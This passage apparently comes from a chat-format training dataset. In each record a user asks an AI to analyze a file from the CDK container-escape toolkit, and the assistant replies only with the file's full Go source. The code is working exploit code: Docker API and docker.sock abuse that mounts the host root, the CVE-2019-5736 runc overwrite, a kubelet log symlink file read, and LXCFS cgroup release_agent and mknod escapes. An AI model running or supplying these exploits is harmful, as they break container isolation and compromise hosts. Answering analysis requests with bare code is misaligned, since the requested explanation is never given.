{\n\t\t\"/host/\": {}\n\t},\n\t\"HostConfig\": {\n\t\t\"Binds\": [\"/:/host\"]\n\t},\n\t\"CMD\": [\"/bin/sh\",\"-c\",\"\"]\n}\n`\n\nfunc CheckDockerRemoteAPI(url string) bool {\n\turl = url + \"/info\"\n\tans, err := util.HttpSendJson(\"GET\", url, \"\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\tif strings.Contains(ans, \"ContainersRunning\") {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc DockerRemoteAPIExploit(api string, cmd string) {\n\t// check if api available\n\tif !CheckDockerRemoteAPI(api) {\n\t\tlog.Fatalln(\"Invalid Docker Remote API: \" + api)\n\t}\n\n\t// pull image alpine\n\turl := api + \"/images/create?fromImage=alpine&tag=latest\"\n\tans, err := util.HttpSendJson(\"POST\", url, \"\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tlog.Println(\"Docker API response:\")\n\tfmt.Println(ans)\n\n\t// create container with user cmd\n\turl = api + \"/containers/create\"\n\tpayloadData := strings.Replace(dockerAPIHttpPostData, \"\", cmd, -1)\n\tans, err = util.HttpSendJson(\"POST\", url, payloadData)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tlog.Println(\"Docker API response:\")\n\tfmt.Println(ans)\n\n\t// get container id\n\tpattern := regexp.MustCompile(\"[A-Fa-f0-9]{64}\")\n\tparams := pattern.FindStringSubmatch(ans)\n\tif len(params) > 0 {\n\t\tlog.Println(\"container ID: \", params)\n\t} else {\n\t\treturn\n\t}\n\n\t// start container\n\tcontainerID := params[0]\n\turl = api + \"/containers/\" + containerID + \"/start\"\n\tlog.Println(\"starting container:\", containerID)\n\tans, err = util.HttpSendJson(\"POST\", url, \"\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tlog.Println(\"finished.\")\n}\n\n// plugin interface\ntype DockerRemoteAPIS struct{ base.BaseExploit }\n\nfunc (p DockerRemoteAPIS) Desc() string {\n\treturn \"Create and run in a container with host `/` mounted to `/host`. usage: ./cdk run docker-api-pwn http://127.0.0.1:2375 \\\"touch /host/tmp/pwn-success\\\"\"\n}\n\nfunc (p DockerRemoteAPIS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 2 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\turl := args[0]\n\tcmd := args[1]\n\tDockerRemoteAPIExploit(url, cmd)\n\treturn true\n}\n\nfunc init() {\n\texploit := DockerRemoteAPIS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"docker-api-pwn\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/docker_runc.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_docker_runc\n// +build !no_docker_runc\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// CVE-2019-5736 exploit copied from https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go\nfunc dockerRuncPwn(hijackCommand string) {\n\n\tif hijackCommand == \"nil\" {\n\t\tfmt.Println(\"[-] Please provide a payload\")\n\t\treturn\n\t}\n\n\tpayload := fmt.Sprintf(\"#!/bin/bash \\n %s\", hijackCommand)\n\tfd, err := os.Create(\"/bin/sh\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tfmt.Fprintln(fd, \"#!/proc/self/exe\")\n\terr = fd.Close()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\tvar found = -1\n\tpids, err := ioutil.ReadDir(\"/proc\")\n\tfmt.Println(pids)\n\tif err != nil {\n\t\tfmt.Println(\"err found when reading /proc dir:\", err)\n\t\treturn\n\t}\n\n\tfor _, f := range pids {\n\t\t// drop non-pid\n\t\tpidDir := \"/proc/\" + f.Name()\n\t\tif !util.IsDir(pidDir) {\n\t\t\tcontinue\n\t\t}\n\n\t\tfint, err := strconv.Atoi(f.Name())\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfbytes, err := ioutil.ReadFile(\"/proc/\" + f.Name() + \"/cmdline\")\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfstring := string(fbytes)\n\t\tfmt.Println(fstring)\n\t\tif strings.Contains(fstring, \"runc\") && !strings.Contains(fstring, \"runc-pwn\") {\n\t\t\tfmt.Println(\"\\tmatched pid - \", f.Name())\n\t\t\tfound = fint\n\t\t\tbreak\n\t\t}\n\t}\n\tif found == -1 {\n\t\tfmt.Println(\"\\tcannot find RunC process inside container, exit.\")\n\t\treturn\n\t}\n\tvar handleFd = -1\n\tfor handleFd == -1 {\n\t\thandle, _ := os.OpenFile(\"/proc/\"+strconv.Itoa(found)+\"/exe\", os.O_RDONLY, 0777)\n\t\tif int(handle.Fd()) > 0 {\n\t\t\thandleFd = int(handle.Fd())\n\t\t}\n\t}\n\tfor {\n\t\twriteHandle, _ := os.OpenFile(\"/proc/self/fd/\"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)\n\t\tif int(writeHandle.Fd()) > 0 {\n\t\t\twriteHandle.Write([]byte(payload))\n\t\t\tlog.Println(\"Successfully got write handle\", writeHandle)\n\t\t\tlog.Println(\"The command executed is\", payload)\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// plugin interface\ntype dockerRuncPwnS struct{ base.BaseExploit }\n\nfunc (p dockerRuncPwnS) Desc() string {\n\treturn \"container escape via CVE-2019-5736. usage: ./cdk run runc-pwn \"\n}\nfunc (p dockerRuncPwnS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 1 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\tcmd := args[0]\n\tlog.Println(\"THIS EXPLOIT WILL OVERWRITE RUNC BINARY AND BREAK CI/CD, BACKUP YOUR RUNC BINARY FIRST!\")\n\tlog.Println(\"Shellcode will be trigger when an execve() call in container or the container is manually stopped.\")\n\tlog.Println(\"Exploit CVE-2019-5736 with shellcode commands: \", cmd)\n\tdockerRuncPwn(cmd)\n\tlog.Println(\"Finished.\")\n\treturn true\n}\n\nfunc init() {\n\texploit := dockerRuncPwnS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"runc-pwn\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/docker_sock_check.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_docker_sock_check\n// +build !no_docker_sock_check\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// APIs Ref https://github.com/AbsoZed/DockerPwn.py/blob/master/createContainer.py\n// curl --unix-socket /var/run/docker.sock http://127.0.0.1/info\nfunc CheckDockerSock(path string) error {\n\t_, err := os.Stat(path)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"err found while stat docker.sock path.\"}\n\t}\n\tbody, err := util.UnixHttpSend(\"get\", path, \"http://127.0.0.1/info\", \"\")\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"failed to send http request to unix socket.\"}\n\t}\n\tfmt.Println(\"\\t\" + body)\n\tif strings.Contains(body, \"Containers\") {\n\t\tlog.Println(\"success, docker.sock is available. please use `./cdk ucurl` commands to control docker API\")\n\t\tlog.Println(\"you can find Docker APIs in https://docs.docker.com/engine/api/v1.24/\")\n\t\tlog.Println(\"happy escaping!\")\n\t} else {\n\t\tlog.Println(\"cannot get docker daemon info from target unix socket.\")\n\t}\n\treturn nil\n}\n\n// plugin interface\ntype DINDAttackS struct{ base.BaseExploit }\n\nfunc (p DINDAttackS) Desc() string {\n\treturn \"check if docker unix socket available. usage: ./cdk run docker-sock-check \"\n}\nfunc (p DINDAttackS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 1 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\tsock := args[0]\n\tlog.Println(\"checking docker socket: \", sock)\n\n\terr := CheckDockerSock(sock)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t} else {\n\t\treturn true\n\t}\n}\n\nfunc init() {\n\texploit := DINDAttackS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"docker-sock-check\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/docker_sock_pwn.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_docker_sock_pwn\n// +build !no_docker_sock_pwn\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// APIs Ref https://github.com/AbsoZed/DockerPwn.py/blob/master/createContainer.py\n// curl --unix-socket /var/run/docker.sock http://127.0.0.1/info\nfunc DockerAPIRun(path string, cmd string) error {\n\tcmd = strings.Replace(cmd, \"\\\"\", \"\\\\\\\"\", -1) // escape shell cmd\n\tcmd = strings.Replace(cmd, \"\\n\", \"\\\\n\", -1) // escape shell cmd\n\tcmd = strings.Replace(cmd, \"\\t\", \"\\\\t\", -1) // escape shell cmd\n\tpayloadData := strings.Replace(dockerAPIHttpPostData, \"\", cmd, -1)\n\n\tlog.Println(payloadData)\n\tans, err := util.UnixHttpSend(\"post\", path, \"http://127.0.0.1/containers/create\", payloadData)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"failed to create container via unix socket http request.\"}\n\t}\n\tlog.Println(\"Docker API response:\")\n\tfmt.Println(\"\\t\" + ans)\n\n\t// get container id\n\tpattern := regexp.MustCompile(\"[A-Fa-f0-9]{64}\")\n\tparams := pattern.FindStringSubmatch(ans)\n\tif len(params) > 0 {\n\t\tlog.Println(\"container ID: \", params)\n\t} else {\n\t\treturn errors.New(\"failed to get container ID after created.\")\n\t}\n\n\t// start container\n\tcontainerID := params[0]\n\tlog.Println(\"starting container:\", containerID)\n\tans, err = util.UnixHttpSend(\"post\", path, \"http://127.0.0.1/containers/\"+containerID+\"/start\", \"\")\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"failed to start container via unix socket http request.\"}\n\t}\n\tlog.Println(\"finished.\")\n\treturn nil\n}\n\nfunc DockerAPIPull(path string, image string) error {\n\tlog.Println(\"trying to pull image:\", image)\n\tans, err := util.UnixHttpSend(\"post\", path, \"http://127.0.0.1/images/create?fromImage=\"+strings.Replace(image, \":\", \"&tag=\", -1), \"\")\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"failed to pull docker image via unix socket http request.\"}\n\t}\n\tlog.Println(\"Docker API response:\")\n\tfmt.Println(\"\\t\" + ans)\n\treturn nil\n}\n\nfunc DockerSockExploit(sock string, cmd string) bool {\n\terr := CheckDockerSock(sock)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\terr = DockerAPIPull(sock, \"alpine:latest\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\terr = DockerAPIRun(sock, cmd)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// plugin interface\ntype DINDAttackDeployS struct{ base.BaseExploit }\n\nfunc (p DINDAttackDeployS) Desc() string {\n\treturn \"Create and run in a container with host root `/` mounted to container `/host` usage: ./cdk run docker-sock-deploy example: ./cdk run docker-sock-pwn /var/run/docker.sock \\\"touch /host/tmp/pwn-success\\\"\"\n}\n\nfunc (p DINDAttackDeployS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 2 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\tsock := args[0]\n\tcmd := args[1]\n\n\tlog.Println(\"checking docker socket:\", sock)\n\treturn DockerSockExploit(sock, cmd)\n}\n\nfunc init() {\n\texploit := DINDAttackDeployS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"docker-sock-pwn\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/k8s_kubelet_var_log_escape.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_kubelet_var_log_escape\n// +build !no_kubelet_var_log_escape\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\ntype VarLogEscape struct{ base.BaseExploit }\n\nfunc (p VarLogEscape) Desc() string {\n\tvar buffer strings.Builder\n\n\tbuffer.WriteString(\"Exploit container escape with kubelet log access & /var/log mount.\")\n\tbuffer.WriteString(\"Usage: cdk run k8s-kubelet-var-log-escape /root/targetfile-to-read\")\n\n\treturn buffer.String()\n}\n\nfunc (p VarLogEscape) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\n\ttargetFile := args[0]\n\ttoken := \"\"\n\tlogPageSubString := `href=\"pods/`\n\tlogLinkRegx := `href=\"(.*)\"`\n\n\tgateway, err := util.GetGateway()\n\tif err != nil {\n\t\tlog.Printf(\"[-] GetGateway error: %v\", err)\n\t\treturn false\n\t}\n\n\t// check kubelet endpoint and logs access\n\tkubeletEndpoint := fmt.Sprintf(\"https://%s:10250/\", gateway)\n\tlog.Printf(\"[+] Checking kubelet endpoint: %s\", kubeletEndpoint)\n\topts := kubectl.K8sRequestOption{\n\t\tToken: token,\n\t\tServer: kubeletEndpoint,\n\t\tApi: \"/logs/\",\n\t\tMethod: \"GET\",\n\t}\n\trespText, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil {\n\t\tlog.Printf(\"[-] kubelet log access error: %v\", err)\n\t\treturn false\n\t}\n\tlog.Printf(\"[+] kubelet log access success, url: %s, response length: %d\", kubeletEndpoint, len(respText))\n\n\t// Log all the log files in /var/log\n\tif strings.Contains(respText, logPageSubString) {\n\t\tloglist := regexp.MustCompile(logLinkRegx).FindAllStringSubmatch(respText, -1)\n\t\tloglistText := \"\"\n\t\tfor _, filename := range loglist {\n\t\t\tloglistText += filename[1] + \"\\n\"\n\t\t}\n\t\tlog.Printf(\"log list: \\n%s\", loglistText)\n\t}\n\n\t// check /var/log mount\n\tmountinfo, err := util.GetMountInfo()\n\tmountPoint := \"\"\n\tif err != nil {\n\t\tlog.Printf(\"[-] GetMountInfo error: %v\", err)\n\t\treturn false\n\t}\n\tfor _, mount := range mountinfo {\n\t\tif mount.Root == \"/var/log\" {\n\t\t\tlog.Printf(\"[+] Found /var/log mount success, mount point: %s\", mount.MountPoint)\n\t\t\tmountPoint = mount.MountPoint\n\t\t\tbreak\n\t\t}\n\t}\n\tif mountPoint == \"\" {\n\t\tlog.Printf(\"[-] Not found /var/log mount\")\n\t\treturn false\n\t}\n\n\t// make target symbolic file link\n\t// run `ln -s targetfile /var/log/targetfile`\n\trandomeFilename := fmt.Sprintf(\"%s-%s\", \"cdk-var-log-escape\", util.RandString(10))\n\tfilepath := path.Join(mountPoint, randomeFilename)\n\tos.Symlink(targetFile, filepath)\n\n\t// get log file in kubelet endpoint\n\turi := path.Join(\"/logs/\", randomeFilename)\n\topts = kubectl.K8sRequestOption{\n\t\tToken: token,\n\t\tServer: kubeletEndpoint,\n\t\tApi: uri,\n\t\tMethod: \"GET\",\n\t}\n\tfileContent, err := kubectl.ServerAccountRequest(opts)\n\tif err != nil {\n\t\tlog.Printf(\"[-] Get log file error: %v\", err)\n\t\treturn false\n\t}\n\tlog.Printf(\"[+] Get log file success, file content: \\n%s\", fileContent)\n\tlog.Printf(\"[+] You can write the host file '%s' in file path: %s\", targetFile, filepath)\n\treturn true\n}\n\nfunc init() {\n\texploit := VarLogEscape{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"k8s-kubelet-var-log-escape\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/lxcfs_rw_cgroup.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_lxcfs_rw && linux\n// +build !no_lxcfs_rw,linux\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\nfunc FindReleaseAgentSubSystem() string {\n\tvar subSystemName string\n\tif cgroupInfos, err := util.GetCgroup(1); err != nil {\n\t\treturn \"\"\n\t} else {\n\t\tfor _, ci := range cgroupInfos {\n\t\t\tif ci.CgroupPath == \"/\" && ci.CgroupPath != \"0::/\" {\n\t\t\t\tsubSystemName = ci.ControllerLst\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn subSystemName\n}\n\nfunc findHostPath(mountInfos []util.MountInfo) (hostPath string) {\n\tfor _, i := range mountInfos {\n\t\tif i.Fstype == \"overlay\" && i.MountPoint == \"/\" {\n\t\t\tfor _, j := range i.SuperBlockOptions {\n\t\t\t\thasUpper := strings.Contains(j, \"upperdir=\")\n\t\t\t\tif hasUpper {\n\t\t\t\t\t// found\n\t\t\t\t\thostPath = j[9:]\n\t\t\t\t\tlog.Println(\"Found hostpath: \" + hostPath)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\n// IsDir return if the path is a dir\nfunc IsDir(path string) bool {\n\ts, err := os.Stat(path)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn s.IsDir()\n}\n\n// FindDir will return the first dir's absolute path in the given path\nfunc FindDir(path string) string {\n\tfiles, _ := ioutil.ReadDir(path)\n\tfor _, f := range files {\n\t\tif IsDir(f.Name()) {\n\t\t\treturn path + \"/\" + f.Name()\n\t\t}\n\t}\n\treturn \"\"\n}\n\nfunc ExploitLXCFSCgroup() bool {\n\tvar targetMountPoint string\n\tvar subSystemName string\n\tvar releaseAgentPath string\n\tvar targetDir string\n\n\tmountInfos, err := util.GetMountInfo()\n\tif err != nil {\n\t\tlog.Printf(\"%v\", err)\n\t\treturn false\n\t}\n\n\tfor _, mi := range mountInfos {\n\n\t\tif findTargetMountPoint(&mi, \"\") {\n\t\t\ttargetMountPoint = mi.MountPoint\n\t\t}\n\t}\n\tif subSystemName = FindReleaseAgentSubSystem(); subSystemName == \"\" {\n\t\tlog.Printf(\"find release agent subsystem error\")\n\t\tlog.Printf(\"you can try another way to exploit, recommend: `./cdk run lxcfs-rw\")\n\t\treturn false\n\t}\n\n\treleaseAgentPath = path.Join(targetMountPoint, \"cgroup/\", subSystemName)\n\tlog.Printf(\"find release agent path %s\", releaseAgentPath)\n\targs := cli.Args[\"\"].([]string)\n\tcmd := args[0]\n\n\thostPath := findHostPath(mountInfos)\n\tif len(hostPath) == 0 {\n\t\tlog.Printf(\"can not find host path\\n\")\n\t\treturn false\n\t}\n\n\t// generate release_agent shell script and save to local\n\tvar taskRandString, expShellText = generateShellExp(hostPath, cmd)\n\t// even in container, you should save to a writable path\n\tvar outFile = fmt.Sprintf(\"/cdk_cgexp_%s.sh\", taskRandString)\n\tlog.Printf(\"generate shell exploit with user-input cmd: \\n\\n%s\\n\\n\", cmd)\n\tfmt.Printf(\"final shell exploit is: \\n\\n\")\n\tfmt.Println(expShellText)\n\n\terr = ioutil.WriteFile(outFile, []byte(expShellText), 0777)\n\tif err != nil {\n\t\tlog.Printf(\"write shell exploit failed\\n\")\n\t\treturn false\n\t}\n\tlog.Printf(\"shell script saved to %s\", outFile)\n\t// create mountpoint\n\tsubgroupName := \"/x_\" + taskRandString\n\n\tif targetDir = FindDir(releaseAgentPath); targetDir == \"\" {\n\t\tlog.Printf(\"no dir in the %s\", releaseAgentPath)\n\t\treturn false\n\t}\n\n\tlog.Printf(\"the target dir is %s\", targetDir)\n\terr = os.Mkdir(targetDir+subgroupName, DefaultFolderPerm)\n\tif err != nil {\n\t\tlog.Printf(\"cannot create subgroup :%s\", err)\n\t\treturn false\n\t}\n\n\t// enable notify_on_release\n\terr = ioutil.WriteFile(targetDir+subgroupName+\"/notify_on_release\", []byte(\"1\"), 0644)\n\tif err != nil {\n\t\tlog.Printf(\"cannot enable notify_on_release %s\", err)\n\t\treturn false\n\t}\n\t// write release_agent\n\terr = ioutil.WriteFile(releaseAgentPath+\"/release_agent\", []byte(hostPath+outFile), 0644)\n\tif err != nil {\n\t\tlog.Printf(\"release_agent is not writable %s\", err)\n\t\treturn false\n\t}\n\n\t// trigger release\n\t// sleep 2s for debug purpose\n\taddProcCmd := exec.Command(\"/bin/sh\", \"-c\", \"sleep 2\")\n\terr = addProcCmd.Start()\n\tif err != nil {\n\t\t// exit code might not be zero, but still succeed\n\t\tlog.Printf(\"Trigger Release Error: %s \\n\", err.Error())\n\t\treturn false\n\t}\n\t// write PID to cgroup.procs\n\terr = ioutil.WriteFile(targetDir+subgroupName+\"/cgroup.procs\", []byte(strconv.Itoa(addProcCmd.Process.Pid)), 0644)\n\tif err != nil {\n\t\tlog.Printf(\"Write PID to cgroup.procs failed: %s \\n\", err.Error())\n\t\treturn false\n\t}\n\t// sleep and read result, must use Wait() to avoid zombie process.\n\taddProcCmd.Wait()\n\ttime.Sleep(3 * time.Second)\n\tretRes, err := ioutil.ReadFile(\"/cdk_cgres_\" + taskRandString)\n\tif err != nil {\n\t\tlog.Printf(\"read execution result file error %s\", err)\n\t\treturn false\n\t}\n\tlog.Printf(\"Execute Result: \\n\\n %s \\n\", string(retRes))\n\treturn true\n}\n\ntype lxcfsRWCgroup struct{ base.BaseExploit }\n\nfunc (l lxcfsRWCgroup) Desc() string {\n\treturn \"escape container by cgroup when root has LXCFS read & write privilege, usage: `./cdk run lxcfs-rw-cgroup 'shell-cmd-payloads`\"\n}\n\nfunc (l lxcfsRWCgroup) Run() bool {\n\n\treturn ExploitLXCFSCgroup()\n}\n\nfunc init() {\n\texploit := lxcfsRWCgroup{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"lxcfs-rw-cgroup\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/lxcfs_rw_mknod.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_lxcfs_rw && linux\n// +build !no_lxcfs_rw,linux\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\t\"syscall\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\nconst cgroupDevicePath string = \"/sys/fs/cgroup/devices\"\nconst devicesAllowName string = \"devices.allow\"\nconst devicesListName string = \"devices.list\"\n\n// find rw lxcfs\nfunc findTargetMountPoint(mi *util.MountInfo, filter string) bool {\n\tif mi.Device == \"lxcfs\" && util.IsDirectory(mi.MountPoint) {\n\n\t\tif !strings.Contains(mi.MountPoint, filter) {\n\t\t\treturn false\n\t\t}\n\n\t\tfor _, opt := range mi.Opts {\n\t\t\tif opt == \"rw\" {\n\t\t\t\tlog.Printf(\"found rw lxcfs mountpoint: %s\\n\", mi.MountPoint)\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\n// find pods cgroup devices path\nfunc findDevicesAllowPath(mi *util.MountInfo) bool {\n\tif mi.MountPoint == cgroupDevicePath {\n\t\tlog.Printf(\"found pod devices.allow path: %s\\n\", mi.Root)\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc getDevicesAllow(path string) string {\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\tlog.Printf(\"open devices.list failed. %v\\n\", err)\n\t\treturn \"\"\n\t}\n\tdefer f.Close()\n\n\tb, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\tlog.Printf(\"read devices.list failed. %v\\n\", err)\n\t\treturn \"\"\n\t}\n\n\treturn string(b)\n}\n\nfunc ExploitLXCFS() bool {\n\tvar targetMountPoint string\n\tvar podCgroupPath string\n\tvar devicesAllowPath, devicesListPath string\n\tvar deviceMarjor, deviceMinor string\n\tvar filterString string\n\n\tmountInfos, err := util.GetMountInfo()\n\tif err != nil 